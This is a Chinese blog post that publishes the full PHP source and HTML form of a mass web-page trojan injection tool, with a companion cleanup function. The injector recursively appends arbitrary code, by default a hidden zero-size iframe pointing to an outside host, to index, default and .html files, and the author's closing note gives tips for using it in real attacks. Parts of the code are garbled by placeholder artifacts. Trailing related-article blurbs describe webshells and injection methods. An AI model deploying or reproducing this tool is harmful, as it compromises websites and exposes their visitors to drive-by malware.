php挂马源文件

最新推荐文章于 2024-07-16 11:14:25 发布
最新推荐文章于 2024-07-16 11:14:25 发布
阅读量2.5k 收藏
点赞数
分类专栏： 安全 php 文章标签： php file input 正则表达式 action path
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zhuche110/article/details/2547576
版权 
<?php

function gmfun($path=".")

 { 

 $d = @dir($path); 

 while(false !== ($v = $d->read()))  { 

 if($v == "." || $v == "..") continue; 

 $file = $d->path."/".$v; 

 if(@is_dir($file)) { 

  gmfun($file);

   } else {

         if(@ereg(stripslashes(
___FCKpd___0

POST["key"]),$file)) {

            $mm=stripcslashes( trim( 
___FCKpd___0

POST[mm] ) );

            $handle = @fopen ("$file", "a");

            @fwrite($handle, "$mm");

            @fclose($handle);

            echo "已挂马文件:$file/n<br>";

            

        }

    }

    } 

    $d->close();

     echo " "; 

}

function qmfun($path=".")

 { 

 $d = @dir($path); 

 while(false !== ($v = $d->read()))  { 

 if($v == "." || $v == "..") continue; 

 $file = $d->path."/".$v; 

 if(@is_dir($file)) { 

  qmfun($file);

   } else {

         if(@ereg(stripslashes(
___FCKpd___0

POST["key"]),$file)) {

            $mm=stripcslashes( trim( 
___FCKpd___0

POST[mm] ) );

            $handle = fopen ("$file", "rb");

            $oldcontent=fread($handle,filesize($file));

            fclose($handle);

            $newcontent=str_replace($mm,"",$oldcontent);

            $fw = fopen ("$file", "wb");

            fwrite($fw,$newcontent,strlen($newcontent));

            fclose($fw);

            echo "已清马文件:$file/n<br>";

            

        }

    }

    } 

    $d->close();

     echo " "; 

}



if (
___FCKpd___0

GET['action']=='gm') {

    set_time_limit(0);

    gmfun(
___FCKpd___0

POST["dir"]);

}

if (
___FCKpd___0

GET['action']=='qm') {

    set_time_limit(0);

    qmfun(
___FCKpd___0

POST["dir"]);

}

?>

<title>批量挂马(清马)程序php版</title><body>





< form action="<?$PHP_SELF?>?action=gm" method="post">

  <table border="0" align="center" cellpadding="0" cellspacing="0">

    <tr> 

      <td height="25" colspan="2" bgcolor="006699"> <div align="center"><font color="#00FF00" size="4">网站批量挂马程序php版 

          BY n3tl04d</font></div>

      <td> </tr>

    <tr> 

      <td height="27" bgcolor="#CCCCCC">路径:</td>

      <td height="27" bgcolor="#CCCCCC"> <input name="dir" type="text" value=".">(可填相对路径) 

      <td> </tr>

    <tr> 

      <td height="27" bgcolor="#CCCCCC">挂马关键字:</td>

      <td height="27" bgcolor="#CCCCCC"> <input name="key" type="text" value='index/.|default/.|main/.|/.html'>-----正则表达式匹配------

      <td colspan="2" height="1"></td>

      <td> </tr>

    <tr> 

      <td height="25" bgcolor="#CCCCCC">想写入的挂马代码:</td>

      <td height="25" bgcolor="#CCCCCC"><input name="mm" type="text" size="50" value='<iframe src="http://www.大家不要干坏事.com" width=0 height=0></iframe>'> 

      <td> </tr>

    <tr> 

      <td height="25" colspan="2" bgcolor="006699"> <div align="center"> 

          <input type="submit" name="Submit" value="提交">

             

          <input type="reset" name="Submit2" value="重置">

        </div></td>

      <td> </tr>

  </table>

< /form>

< form action="<?$PHP_SELF?>?action=qm" method="post">

  <table border="0" align="center" cellpadding="0" cellspacing="0">

    <tr> 

      <td height="25" colspan="2" bgcolor="006699"> <div align="center"><font color="#00FF00" size="4">批量清马工具php版 

         BY 随风而去(LST)</font></div>

      <td> </tr>

    <tr> 

      <td height="27" bgcolor="#CCCCCC">路径:</td>

      <td height="27" bgcolor="#CCCCCC"> <input name="dir" type="text" value=".">(可填相对路径) 

      <td> </tr>

    <tr> 

      <td height="27" bgcolor="#CCCCCC">清马关键字:</td>

      <td height="27" bgcolor="#CCCCCC"> <input name="key" type="text" value='index/.|default/.|main/.|/.html'>-----正则表达式匹配------

      <td colspan="2" height="1"></td>

      <td> </tr>

    <tr> 

      <td height="25" bgcolor="#CCCCCC">想清除的挂马代码:</td>

      <td height="25" bgcolor="#CCCCCC"><input name="mm" type="text" size="50" value='<iframe src="http://www.不要挂马.com" width=0 height=0></iframe>'> 

      <td> </tr>

    <tr> 

      <td height="25" colspan="2" bgcolor="006699"> <div align="center"> 

          <input type="submit" name="Submit" value="提交">

             

          <input type="reset" name="Submit2" value="重置">

        </div></td>

      <td> </tr>

  </table>

< /form>

<p align="center">本程序是在n3tl04d的批量挂马的基础上修改而成,在此表示感谢<br>

大家在实战中最好不要用批量挂马,能找共用的文件挂马就最好用共用的方法挂吧<br>

做人要厚道<br>

by 随风而去  07.12.06</p>
ORACLE800
关注
专栏目录
渗透自学（六）文件上传
qq_57449919的博客
01-10 1237
渗透基础自学知识，有写的不好的地方请多多指出
最近服务器总被webshell攻击，木马也非常猖獗
weixin_42287925的博客
04-07 3057
木马猖獗到无视各种防火墙，各种付费云防护。（我好像无意中发现了致富的新途径，想转行了，开玩笑了）。以下是服务器上下载下来的木马源文件： <?php $password='admin';//登录密码 //本次更新：体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。 //功能特色：PHP高版本低版本都能执行，文件短小精悍，方便上传，功能强大，提权无痕迹，无视waf，过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。 $html='$
php 网站挂马文件
04-15
php 站的木马文件，有空可以研究下。还行
php挂马
weixin_33862188的博客
06-04 146
在百度上搜索 ： site:tpy888.cn 零点××× 出现sitemap/Artlc.php 很是奇怪，文件的属主是www:www 后来我把目录修改成744，index.php为644，再把discuz的 data/avatar目录删除了，竟然问题解决了。 用下面的命令找出来的： /bbs/data/avatar/0/8/dam.php: Str...
ThinkPHP5 被 classmap.php 文件挂马的防范与处理
最新发布
xxxPHP_er的博客
07-16 573
近期访问一个ThinkPHP5.0.24的网站，发现无论访问什么页面返回的都是一样的内容，企业微信分享链接的标题和简介也变成了灰色产业的广告信息。ThinkPHP5 被文件挂马是一个严重的安全问题，需要引起足够的重视。可通过及时更新框架版本、加强代码审计、严格权限管理等措施，可以有效防范挂马攻击。同时，在遭遇挂马事件时，需要迅速响应并采取相应的处理流程，以尽快恢复网站的正常运行。
luinx php木马,Linux Bash Shell 寻找PHP（网站）挂马，后门
weixin_39864738的博客
03-09 260
一php后门木马常用的函数大致上可分为四种类型：1.执行系统命令: system, passthru, shell_exec, exec, popen, proc_open2.代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot133.文件包含与生成: r...
PHP.ini方式防注或挂马
程序猿在武汉
08-01 1074
当要在防止页面攻击时，可在页面的头部include防攻击文件，就像通用防注入文件。我们可以用三种情况来办到：  1、在每个文件内引用。这样的文件是可以，不过如果一个网站内有几百个文件的话就不方便了。 2、在共同包含文件内引用一下，比如 config.inc.php。这是一个好办法，也是目前市场上比较流行的做法。 3、在php.ini中引用。在配置文件内引用
php被挂马,PHP网站被挂马防御战
weixin_42388716的博客
03-12 499
最近把几个PHP网站的程序备份到本地，准备与本地的发布版的svn做内容整合。发现有一些non-versioned的程序文件，仔细查看，是一些木马程序。 我在本地测试了这些木马程序，可以读取所有硬盘的文件，可以随意修改文件，下载任意硬盘位置的文件，上传文件到主最近把几个PHP网站的程序备份到本地，准备与本地的发布版的svn做内容整合。发现有一些non-versioned的程序文件，仔细查看，是一些木...
网站快照被劫持解决办法：织梦程序
就是他
04-22 2798
网站被挂马、快照被劫持，如果处理不及时，措施不当等待你的将是搜索引擎的惩罚：网站排名与权重下降，轻则不收录重则被k。 首先来说下快照劫持的概念，快照劫持是指黑客通过获取服务器/主机控制权限，在代码中加入了异常代码，直接输入域名是正常的，但是通过关键词搜索点击进去后会跳转到违法类站点，一般是博彩类型站点。因为是从快照点击进去后导致的异常，所以称为快照劫持。 经过我们分析和研究，发现首页被挂了异常的代...
网络安全工程师面试题整理
m0_67393686的博客
07-30 7351
网络发现和安全审计工具主机发现端口扫描应用程序和版本探测操作系统探测-p指定端口扫描-sTtcp扫描-sPping扫描-Pn不进行ping扫描-o操作系统探测。
dedecms建站问题集锦
夜空下的凝视
04-17 9398
1、dedecms去除版权中的Power by DedeCms a、powerby标签如何调用：首先进入后台，选择 系统 -> 系统基本参数 -> 站点设置 b、在网站版权信息栏中编写自己的版权信息，支持html代码，写好后确定保存。 c、然后在网站的footer.htm文件中用标签{dede:global.cfg_powerby/}进行调用。 d、更新网站后，在版权信息中就显示了刚...
寻找PHP（网站）挂马，后门
MiltonZhong
08-02 7029
一 php后门木马常用的函数大致上可分为四种类型： 1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open 2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_r
php 批量 挂马,php下批量挂马和批量清马代码
weixin_35505629的博客
03-21 214
function gmfun($path=”.”){$d = @dir($path);while(false !== ($v = $d->read())) {if($v == “.” || $v == “..”) continue;$file = $d->path.”/”.$v;if(@is_dir($file)) {gmfun($file);} else {if(@ereg(stri...
网站php挂马从哪里挂的,寻找PHP（网站）挂马，后门
weixin_39880328的博客
03-10 296
一php后门木马常用的函数大致上可分为四种类型：1.执行系统命令: system, passthru, shell_exec, exec, popen, proc_open2.代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot133.文件包含与生成: requ...
PHP网站被挂马防御战
ve12345的博客
06-03 525
最近把几个PHP网站的程序备份到本地，准备与本地的发布版的svn做内容整合。发现有一些non-versioned的程序文件，仔细查看，是一些木马程序。 我在本地测试了这些木马程序，可以读取所有硬盘的文件，可以随意修改文件，下载任意硬盘位置的文件，上传文件到主机任意硬盘位置，可以说接近在主机上管理文件了，更糟糕的是还可以执行本地程序或命令，管理mysql等等 它怎么隐藏和伪装的？ 它一般藏的目...
php网站挂马,网页挂马详细教程
weixin_32353247的博客
03-10 1230
其实很简单的的，说到原理，就一个：就是在人家网站的主页那里插入一个自己的网马的页面，等有漏洞的人查看了人家网站的主页，那么他就成了你的肉鸡了。 下面我介绍5种方法，我一个一个介绍 方法一：这个就是最简单的了，只要你懂点html语言 把下面这段代码其实很简单的的，说到原理，就一个：就是在人家网站的主页那里插入一个自己的网马的页面，等有漏洞的人查看了人家网站的主页，那么他就成了你的肉鸡了。下面我介绍5...
php挂马攻击,PHP批量挂马脚本
weixin_33888685的博客
03-11 196
来源：红狼作者：f3v3r批量写入档案脚本…可以拿来挂马也能拿来当RFI的后门注入code都写明的，有需要的请自己看后门写在$inj里面，要做base64 encode的Polymorphic不希望这个东西被搞破坏的人拿去玩懂原理的就自个儿收下吧set_time_limit(0);ignore_user_abort(1);# PHP Mass Injection Script by f3v3r v...
php pwuj 挂马,网站挂马原理及实战
weixin_39683025的博客
03-11 471
注:本文仅供学习参考网页挂马简介网页挂马指的是把一个木马程序上传到一个网站里面，然后用木马生成器生成一个网马，放到网页空间里面，再加代码使得木马在打开网页时运行。网页挂马工作原理作为网页挂马的散布者，其目的是将木马下载到用户本地并进一步执行，当木马得到执行后，就意味着会有更多的木马被下载，且进一步被执行。这样就进入一个恶性的循环，从而使用户的电脑遭到攻击和控制。为达到目的首先要将木马下载到本地。常...
网页挂马技术解析与防范
"本文将详细探讨挂马的各种技术手段，这些方法使得恶意代码能够在用户不知情的情况下嵌入到网页中，以实现隐蔽的推广和非法链接。挂马是网络安全领域中的一个重要问题，它通过多种途径对用户的计算机系统构成威胁。...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值